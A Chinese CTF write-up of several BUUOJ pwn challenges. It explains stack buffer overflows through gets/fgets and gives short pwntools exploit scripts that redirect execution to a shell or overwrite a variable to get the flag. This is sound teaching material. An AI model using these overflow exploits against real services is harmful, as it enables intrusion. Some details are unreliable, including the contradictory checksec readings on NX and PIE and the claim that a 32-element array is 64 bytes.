- text your nc
从ubuntu里面nc一下靶场,cat flag即可得到。
- rip
开启靶场,下载好pwn1附件
用ida打开pwn1文件,如图
进入main函数,f5反汇编,如图
System系统函数在fun里面,所以要想办法到fun函数里面。
看见get函数,应该可以想到利用它作缓冲区栈溢出到fun函数从而得到系统函数拿取shell。
- get函数
gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。 - 可以利用缓冲区溢出,将缓冲区填满后跳转到fun函数处,获取shell,进而获取flag.
点进get函数里面的s这个数组,可以看出它的有15个字符大小。
接下来进入ubuntu操作系统,将pwn1复制进去,然后在对应的位置开启terminal,利用checksec检测文件的保护机制.
从图上可以看出它是一个64位程序,仅开启了栈不可执行保护, 没有打开NX防护(堆栈可执行),No PIE.
- Relro:Full Relro(重定位表只读)
- Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。
- Stack:No Canary found(能栈溢出)
- NX: NX disabled(不可执行内存)
- Non-Executable Memory,不可执行内存。
- PIE: PIE enable(开启ASLR 地址随机化)
- Address space layout randomization,地址空间布局随机化。通过将数据随机放置来防止攻击。
开始写EXP:
- from pwn import* //pwntools函数导入
- sh = remote('node4.buuoj.cn',27719) //连接靶机的服务,需要输入对应的ip地址和端口号
- #sh = process('./pwn1') //本地调试
- payload = b'a'*23+p64(0x40118A) //输入payload来进行操作以拿到程序的shell
- sh.sendline(payload)
- //sendline() - 发送带回车符的字符串
- //sendline() 和 send() 唯一的区别就是在发送的字符串后面加上了回车换行符.
- sh.interactive() //发送命令进行交互, sh.interactive()允许我们在终端里将命令传送到靶机服务器
payload = b’a’*23+p64(0x40118A) 核心在于偏移量23计算和0x40118A的由来
其中 b是bytes的缩写,是bytes类型,p64是打包函数,把地址转换为b类型的二进制形式
- 偏移量23计算
在main函数中,双击s,s占据了15个db,再加上"s"[saved registers]的8个db,一共23个db. - 0x40118A的由来
在IDA中,打开fun函数, 可看到fun()函数开始的地址为0x401186, "/bin/sh"指令执行的地址为0x40118A
运行EXP,即可获得flag
- ciscn_2019_n_1
首先下载附件:
为了方便操作,把附件名称换成111,然后checksec命令查看:
可以看出只开了一个NX,无伤大雅,拖入IDA
(注:NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。)
如上func函数转汇编结果为:
由代码可以看出来,程序得到的是v1,但是分支要求让v2 = 11.28125才可以解得flag,分析栈情况为:
所以要利用gets函数从v1溢出到v2的 11.28125处,v1到v2地址差为-0x4-(-0x30)=0x2c,而11.28125内存中的十六进制为41348000
然后开启靶机,就可以写exp了
from pwn import*
sxy = remote('node4.buuoj.cn',28715)
payload = 'a'*0x2c + p64(0x41348000)
sxy.sendline(payload)
sxy.interactive()
然后python一下即可得到flag
4.pwn1_sctf_2016
首先下载附件
Checksec一下,和第三题一样,只开了nx保护,拖进ida
很明显一个get flag,记住地址为0x8048f0d,然后对下面的代码进行f5
得到如下反汇编代码
可以看出是gets一个s的数组,且容量为32,也就是64个字节。但是这里用的是fgets,所以不能直接用其他字符进行栈溢出,但是下面有一个replace函数,将输入的’I’单字符转换成‘you’三个字符,所以我们可以用21个‘I’,就可以占数组的63个大小容量,剩下的一个可以随机用一个字符。
思路如上,exp如下:
from pwn import*
r=remote("node4.buuoj.cn",27576)
payload='I'*21+'a'+p32(0x8048f0d)
r.sendline(payload)
r.interactive()
python一下得到flag